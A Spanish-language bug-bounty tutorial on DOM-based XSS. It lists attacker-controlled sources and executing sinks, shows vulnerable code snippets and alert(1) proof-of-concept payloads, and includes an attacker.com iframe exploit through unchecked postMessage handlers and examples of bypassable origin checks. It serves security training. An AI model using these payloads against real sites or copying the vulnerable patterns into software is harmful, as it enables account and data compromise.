Nivel AvanzadoPremium

DOM XSS — sources, sinks y gadgets para encadenar bypass de filtros

Mapa completo de sources (location, postMessage, document.referrer, localStorage) y sinks (innerHTML, eval, document.write, jQuery $.html) + gadgets para construir payloads no detectables.

Gorka El Bochi11 de mayo de 202616 min

Deja de leer sobre bugs y empieza a cazarlos

Sin tarjeta · Academy gratis · cancela cuando quieras

Crear cuenta gratis

Respuesta rápida

DOM XSS es client-side: el payload nunca toca el server. El flujo es source → sink con o sin gadget intermedio. Sources comunes: location.hash, postMessage, document.referrer, window.name, localStorage. Sinks ejecutables: innerHTML, outerHTML, eval, setTimeout(string), document.write, jQuery $.html(), Function(). Cuando no hay sink directo, los gadgets (toString coercion, jQuery addBack, lodash _.set) convierten un sink "limpio" en ejecución arbitraria.


Sources — de dónde viene el input controlado

Cualquier dato que el atacante pueda manipular sin requerir backend.

SourceManipulaciónNotas
location.hashURL fragment #payloadNo se envía al server, ideal para no dejar logs
location.search?param=payloadReflejado server-side suele dar RXSS clásico, client-side da DOM XSS
location.pathnameURL path segmentsÚtil cuando hay routers client-side (React Router)
document.referrerHeader Referer del request previoAtacante controla via página propia con link
window.namePersiste cross-origin via target.name=... antes de navegarSource clásico para CSP bypass
postMessageiframe.contentWindow.postMessage(...)Most exploited DOM XSS vector en 2026
localStorage / sessionStorageSet desde otro XSS o subdomainPersistente
IndexedDBMismo origenIdem
WebSocket messageSi la app abre WS y atacante puede inyectar mensajes (MITM, server bug)Niche
BroadcastChannelMensajes entre tabs same-originNiche
document.cookieSet desde subdomain o cookie tossingÚtil cuando hay parsing client-side

Sinks — dónde se ejecuta JavaScript

Sinks "duros" (ejecutan JS directo si meten un payload):

javascript
element.innerHTML = userInput;
element.outerHTML = userInput;
element.insertAdjacentHTML('beforeend', userInput);
eval(userInput);
setTimeout(userInput, 0);   // string, no función
setInterval(userInput, 0);
Function(userInput)();
new Function('a', userInput)();
document.write(userInput);
document.writeln(userInput);
$.html(userInput);          // jQuery
$(userInput);               // jQuery con HTML string
range.createContextualFragment(userInput);

Sinks "blandos" (necesitan que el payload tenga forma específica):

javascript
location.href = userInput;        // javascript:alert(1)
location.assign(userInput);
location.replace(userInput);
element.src = userInput;          // <iframe src=javascript:...>
element.href = userInput;         // <a href=javascript:...>
element.action = userInput;       // <form action=javascript:...>
element.onclick = userInput;      // requiere función o setAttribute con string
window.open(userInput);
history.pushState(state, '', userInput);  // si reflejado luego con innerHTML

Patrón source → sink trivial

javascript
// Vulnerable
document.getElementById('content').innerHTML = location.hash.slice(1);
php-template
https://target.com/page#<img src=x onerror=alert(1)>

Detección automática: DOM Invader (Burp), DOMSnitch (Chrome extension), o el hook manual:

javascript
// Inyectar en DevTools console para tracear flow
const origInnerHTML = Object.getOwnPropertyDescriptor(Element.prototype, 'innerHTML');
Object.defineProperty(Element.prototype, 'innerHTML', {
  set(v) {
    if (location.hash.slice(1) && v.includes(location.hash.slice(1))) {
      console.warn('[DOM XSS] hash → innerHTML:', v, new Error().stack);
    }
    origInnerHTML.set.call(this, v);
  }
});

postMessage handlers — el vector #1 de 2026

El listener window.addEventListener('message', ...) recibe datos cross-origin. Si no valida event.origin, cualquier dominio externo (iframe abierto en attacker.com con target.com framed) puede enviar payloads.

javascript
// Vulnerable
window.addEventListener('message', (e) => {
  document.getElementById('ads').innerHTML = e.data;
});

Exploit:

html
<!-- attacker.com -->
<iframe src="https://target.com/" onload="
  this.contentWindow.postMessage('<img src=x onerror=alert(1)>', '*')
"></iframe>

Variaciones más sofisticadas

JSON message + property dispatch

javascript
window.addEventListener('message', (e) => {
  const data = JSON.parse(e.data);
  if (data.type === 'render') {
    document.getElementById(data.target).innerHTML = data.html;
  }
});

Payload:

javascript
target.contentWindow.postMessage(
  JSON.stringify({ type: 'render', target: 'ads', html: '<svg onload=alert(1)>' }),
  '*'
);

Origin check con .includes o regex laxo

javascript
if (e.origin.includes('target.com')) { ... }  // attacker-target.com pasa
if (e.origin.match(/target\.com/)) { ... }    // attacker.com/target.com (path) pasa en URLs
if (e.origin.endsWith('target.com')) { ... }  // eviltarget.com pasa

Cualquier validación que no use e.origin === 'https://target.com' es bypasseable.

Sigue leyendo el chain completo

La parte que falta incluye el PoC paso a paso, código de explotación y la cadena completa que llevó al impacto. Disponible para suscriptores.

Gratis · sin cuenta

La checklist que repaso en cada objetivo nuevo

47 comprobaciones ordenadas por coste: primero lo que te puede meter en un lío, luego lo barato, y al final lo caro — que es donde están los bounties grandes. Te la mando al correo ahora mismo.

Te das de baja en un clic, desde cualquier correo.

Practica esto en un lab

Dom Xss Gadgets Postmessage

Resolver

Sigue aprendiendo · cuenta gratis

Guarda tu progreso, desbloquea payloads avanzados y rankea tus flags.

Crear cuenta

Artículos relacionados

2.786

hunters entrenando

63

labs de hackeos reales

1.767

completaciones

$14.790

pagados por estos bugs

37 flags capturadas esta semana·Hackeos reales de HackerOne · YesWeHack · Bugcrowd·Sin permanencia·Academy gratis

La comunidad

Esto no es una plataforma con usuarios.Es gente rompiendo lo mismo que tú.

Dentro se pregunta, se enseña lo que se ha encontrado y se resuelve en grupo lo que atascaría a cualquiera solo. Se entra gratis: sin cuenta, sin plan y sin dejar el correo.

Entrar a la comunidad de BBLABS en Discord
Entrar al Discord

Es gratis y abierto. No hace falta tener cuenta en BBLABS para entrar.